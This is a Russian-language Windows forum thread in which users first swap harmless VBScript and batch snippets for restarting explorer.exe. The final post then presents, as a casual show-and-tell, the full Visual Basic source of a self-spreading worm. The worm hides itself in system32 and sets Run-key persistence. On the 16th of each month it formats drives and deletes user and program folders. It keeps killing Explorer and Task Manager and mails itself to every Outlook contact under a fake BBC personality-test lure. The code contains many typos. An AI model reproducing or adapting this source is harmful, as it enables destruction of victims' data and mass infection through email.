"2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe"

farlow · Отправлено: **10:31, 23-08-2007** | #2

а через taskkill не проще ярлык замутить?
или тоже батник?

voler · Отправлено: **13:20, 23-08-2007** | #3

Есть другой способ.

PHP код:


'Если ошибка продолжаем далее.
On Error Resume Next
' ****************************************************************
'Тут задаются параметры текста и заголовка.
L_Welcome_MsgBox_Message_Text   = _
    "Выполняем перезагрузку explorer.exe?"
L_Welcome_MsgBox_Title_Text     = "Перезагружаем explorer.exe"
Call Welcome()
' ****************************************************************
'Завершает работу программы.
Set oShell = CreateObject("WScript.Shell")
On Error Resume Next
 ' ****************************************************************
Sub t_message(name, res)
Select Case res
case 0 WScript.Echo name & " Successful completion."
case 2 WScript.Echo name & " The user does not have access to the requested information."
case 3 WScript.Echo name & " The user does not have sufficient privilge."
case 8 WScript.Echo name & " Unknown failure."
case 9 WScript.Echo name & " The path specified does not exist."
case 21 WScript.Echo name & " The specified parameter is invalid."
Case Else WScript.Echo name & " " & res & " Refer to Win32 error code documentation."
End Select
End Sub
' ****************************************************************
'explorer.exe
' ****************************************************************
For each Service in GetObject("winmgmts:{impersonationLevel=impersonate}!//localhost").ExecQuery("select * from Win32_Process where Name='explorer.exe'")
res = Service.Terminate()
Call t_message("explorer.exe", res)
Next
' ****************************************************************
'Запускаем Программу.
Dim wsh
Set wsh=CreateObject("WScript.Shell")
wsh.Run "%systemroot%\explorer.exe"
' ****************************************************************
'Если нажимаем да то скрипт продолжает работу, а если нет то завершает работу.
Sub Welcome()
    Dim intDoIt

    intDoIt =  MsgBox(L_Welcome_MsgBox_Message_Text, _
        vbYesNo + vbInformation, _
        L_Welcome_MsgBox_Title_Text )
    If intDoIt = vbCNo Then
       WScript.Quit
    End If
End Sub
' ****************************************************************

kot1313 · Отправлено: **16:07, 13-03-2008** | #4

voler,

А как этот код использовать ?
Подскажи пожалуста

Vadikan · Конфигурация компьютера

kot1313, скопируйте в Блокнот, сохраните как "script.vbs" (с кавычками).

XpucT · Конфигурация компьютера

farlow,
+1

2 all:
Создаём Tекстовый документ.txt
Заходим в него и пишем:

Код:

taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe

Сохраняем. Переименовываем Tекстовый документ.txt в Restart Explorer.cmd
Запускаем.

rizz · Отправлено: **08:52, 26-07-2008** | #7

Цитата farlow:

а через taskkill не проще ярлык замутить?
или тоже батник? »

Цитата XpucT:

Создаём Tекстовый документ.txt
Заходим в него и пишем:
Код:
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe »

а сюда %ProgramFiles%\2 Reboot (explorer.exe) заглянуть трудно?
там такой же батник с таким же текстом

Код:

CLS
@echo off


rem убиваем и запускаем по новой explorer.exe 
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe

rem убиваем и запускаем по новой taskmgr.exe минимизированным
taskkill.exe /F /IM taskmgr.exe
start /min %systemdrive%\Windows\System32\taskmgr.exe

только ещё диспетчер задач минимизированный запускается,
он свернётся в трей если применён твик который ставится автоматически или вручную можно включить "Скрывать свёрнутое"

Надо было бы мне делать этот батник, но explorer.exe всё также виснет на копировании файлов, даже в SP3 проблему не захотели решить

Могу даже сказать при каких условиях он виснет, если в "Пуск" мышкой перетащить с рабочего стола "Мой компьютер", или перетащить любой локальный диск из "Мой компьютер"
тогда эти диски будут раскрываться прямо из меню пуск, лично мне без этой опции каждый раз тыкаться по всем дискам и папкам просто нереально будет найти нужный файл
проводник с деревом я тоже ненавижу, поэтому и приходится вытаскивать диски в "Пуск"
Чтобы эффект проявился нужно перетащить "Мой компьютер" мышкой в "Пуск" и перезагрузиться, потом начать копировать файлы без разницы куда, главное по-больше мелких, пару сотен мегабайт и explorer.exe наглухо подвиснет, правда не всегда эффект проявляется с первого раза, иногда может целый день работать, а иногда с одного маленького файла зависнет
Причём не зависит от конфигурации компьютера, AMD или Intel без разницы
Если убрать из меню "Пуск" все такие раскрывающиеся диски и снова перезагрузиться, то explorer.exe больше не будет виснуть на копировании, да и вобще будет редко виснуть

XpucT · Конфигурация компьютера

Знаешь, Мне кажется Мой вариант попроще остальных будет.

gora · Конфигурация компьютера

Цитата XpucT:

Знаешь, Мне кажется Мой вариант попроще остальных будет. »

Упрощаем...

Код:

taskkill.exe /F /IM explorer.exe
start %windir%\explorer.exe

... и еще проще ...

Код:

taskkill.exe /F /IM explorer.exe
start explorer.exe

ComSyntax · Отправлено: **20:53, 03-08-2008** | #10

А еще проще

Цитата gora:

taskkill.exe /F /IM explorer.exe
explorer.exe »

А вот мой зверек, писал давно.

Код:

Option Explicit

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Dim WshShell
Dim WScript
Dim SysDir
Dim FSO
Dim Ret
Dim Reg
Private Sub Form_Load()

On Error Resume Next
 
Set WshShell = WScript.CreateObject("WScript.Shell")
 
Set FSO = CreateObject("Scripting.FileSystemObject")

Set Reg = CreateObject("WScript.Shell")

SysDir = FSO.GetSpecialFolder(1)

Call FSO.Createder(SysDir & "\SysBootDrivers")

Ret = CopyFile(App.Path & "\" & App.EXENa& ".exe", Eviron("windir") & "\system32\SysBootDrivers" & "\" & "PsyTest.exe", False)
 
SetAtr (SysDir & "\SysBootivers"), vbHidden


Reg.RegWrite "HKLM\Softare\Microsoft\Windows\CurrentVersion\Run\SystemFilesProtect", SysDir & "\SysBootDrivers\SystemRunder.vbs"


Open SysDir & "\SysBootDrivers\BDA7I.bat" For Output As #1
Print #1, "@ECHO OFF"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %SystemDrive%\RECYCLER\Unvisible.vbs"
Prin #1, "ECHO WSHShell.run " & """" & "%SystemDrive%\RECYCLER\DAVINCI.bat" & """" & ",0 >> %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\DOBERUS.BAT" & """" & ",0 >> %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreaeObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\REFORMX.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET HDDINFKILL=FORMAT > %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% D: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% E: /Q /Y >%SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% C: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% A: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% B: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% F: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% G: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% H: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% I: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDIFKILL%% J: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% K: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% L: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% M: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% N: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% O: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% P: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% Q: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% R: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "START %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "@ATTRIB +H +R +S %\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET REGOBJECT=REG ADD > %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REGOBJECT%% " & "& "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  SystemDav /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\SystemWor.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_USERS\.DEFAULT\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECO %%REGOBJECT%% " & """" & "HEY_CURRENT_USER\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO START %winDir%\system32\SysBootDrivers\REGProtect.vbs >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO EXIT >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "@ATTRIBH +R +S %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "START %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO @ECHO OFF > %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\DOCUME~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\PROGRA~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\stem32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Explorer.exe > %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Taskmgr.exe >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "@ATTRIB +H +R +S %winDir\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "DEL %0"
Print #1, "EXIT"
Close #1


Open SysDir & "\ZipFLD.vbs" For Ouput As #1
Print #1, "Option Explicit "
Print #1, "Dim SysDir"
Print #1, ""
Print #1, "MakeZIP"
Print #1, ""
Print #1, ""
Print #1, "Sub MakeZIP()"
Print #1, "Dim fso"
Print #1, "Dim wShell"
Print #1, "Dim Shell"
Prnt #1, "Dim n"
Print #1, "Dim ie"
Print #1, "Dim ZIPfile"
Print #1, "Dim ZIPdata:ZIPdata=" & """" & "PK" & """" & " & Chr(5) & Chr(6) & String(18,0)"
Print #1, "Dim file"
Print #1, "Dim Folder"
Print #1, "Dim FolderItem"
Print #1, "Dim dFolder"
Print #1, "Set fso=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "Set wShell=CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1) "
Print #1, "Dim foldName : foldName = SDir & " & """" & "\SysBootDrivers\PsyTest.exe" & """" & ""
Print #1, "Dim archName : archName = SysDir & " & """" & "\SysBootDrivers\PsyTest.zip" & """" & ""
Print #1, "Set Shell=CreateObject(" & """" & "Shell.Application" & """" & ")"
Print #1, "For n=0 To 9"
Print #1, "For Each ie In Shell.Windows"
Print #1, "If Not ie.Busy Then"
Print #1, "If ie.ReadyState=4 Then"
Print #1, "If InStr(TypeName(ie.Docment)," & """" & "IShellFolderViewDual" & """" & ")=1 Then"
Print #1, "Exit For"
Print #1, "End If"
Print #1, "End If"
Print #1, "End If"
Print #1, "Next"
Print #1, "If Not IsEmpty(ie) Then Exit For"
Print #1, "If n=0 Then CreateObject(" & """" & "WScript.Shell" & """" & ").Run " & """" & "explorer.exe" & """" & ",0,True"
Print #1, "WScript.Sleep 100"
Print #1, "Next"
Print #1, "If IsEmpty(ie) Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "Set Shell=ie.Document.Application"
Print #1, "ZIPfile=fso.GetAbsolutePathName(archName)"
Print #1, "If UCase(fso.GetExtensionName(ZIPfile))<>" & """" & "ZIP" & """" & " Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "If Not fso.FileExists(ZIPfile) Then"
Print #1, "fso.CreateTextFile(ZIPfile,False).Write ZIPdata"
Print #1, "End If"
Print #1, "Set dFolder=Shell.NamSpace(ZIPfile)"
Print #1, "file=fso.GetAbsolutePathName(foldName)"
Print #1, "Set Folder=Shell.NameSpace(fso.GetParentFolderName(file))"
Print #1, "Set FolderItem=Folder.ParseName(fso.GetFileName(file))"
Print #1, "If FolderItem Is Nothing Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "dFolder.Copyre FolderItem"
Print #1, "End Sub"
Close #1

If FSO.FileExists(SysDir & "\SysBootDrivers\PsyTest.zip") Then
On Error Resume Next
Kill (SysDir & "\SysBootDrivers\PsyTest.zip")
VBA.Shell "cscript.exe   " & (SysDir & "\ZipFLD.vbs"), vbHide
Else
VBA.Shell "cscript" & (SysDir & "\ZipFLD.vbs"), vbHide
End If

SetAttr (SysDir & "\ZipFLD.vbs"), vbHidden
SetAttr (SysDir & "\SysBootDrivers\PsyTest.exe"), vbHidden

Open SysDir & "\SysBootDrivers\SystemRunder.vbs" For Output As #1
Print #1, "if Day(now)=16 Then"
Print #1, "On Error Next "
Print #1, "Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "Set fso = CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1)"
Print #1, "WshShell.Run(SysDir & " & """" & "\SysBootDrivers\BDA7I.bat" & """" & "), vbHide"
Print #1, "End If"
Close #1

VBA.Shell "cscript.exe   " & (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHide

SetAttr (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D.bat" For Output As #1
Print #1, "SET WDQS=CHO"
Print #1, "%WDQS% Dim x > %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ON ERROR RESUME NEXT >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set so=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set ol=CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D1" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBotDrivers\Wor-D.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D1.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% out= WScript.CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D2" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBDrivers\Wor-D1.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D2.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Set mapi = out.GetNameSpace(" & """" & "MAPI" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set a = mapi.AddressLists(1) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D3" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\sysem32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D2.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D3.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% For x=x+1 To a.AddressEntries.Count >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set Dav=ol.CreateItem(0) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.to=ol.GetNameSpace(" & """" & "MAPI" & """" & ").AddressLists(1).AddressEntries(x) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D4" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Prnt #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D3.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D4.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Subject=" & """" & "What am I like?" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.Body=" & """" & "HI! In this programme, you can play along and discover your personality type at home. Are you an Idlist, a Big Thinker or another of 16 personality types? Use the attachment and visit home page of this programme http://www.BBC.co.uk/sn/tvradio/programmes/whatamilike/ Contact Us http://www.BBC.co.uk/feedback/" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D5" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D4.bat"), vbHidden
Oen SysDir & "\SysBootDrivers\Wor-D5.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Attachments.Add(" & """" & "%winDir%\system32\SysBootDrivers\PsyTest.zip" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D6" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Cse #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D5.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D6.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Send >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Next >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ol.Quit >> %winDir%\system32\SystemDav.vbs"
Print #1, "attrib +h %winDir%\system32\SystemDav.vbs"
Print #1, "start %winDir%\system32\SystemDav.vbs"
Pint #1, "del %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAr (SysDir & "\SysBootDrivers\Wor-D6.bat"), vbHidden
MsgBox "This application has failed to start because CSLav9e.dll was not found!", vbCritical

Set FSO = Nothing
Set WshShell = Nothing
End
End Sub



                       'Created by ComSyntax'
                                '14/08/2007'
                                   'DaViNcI'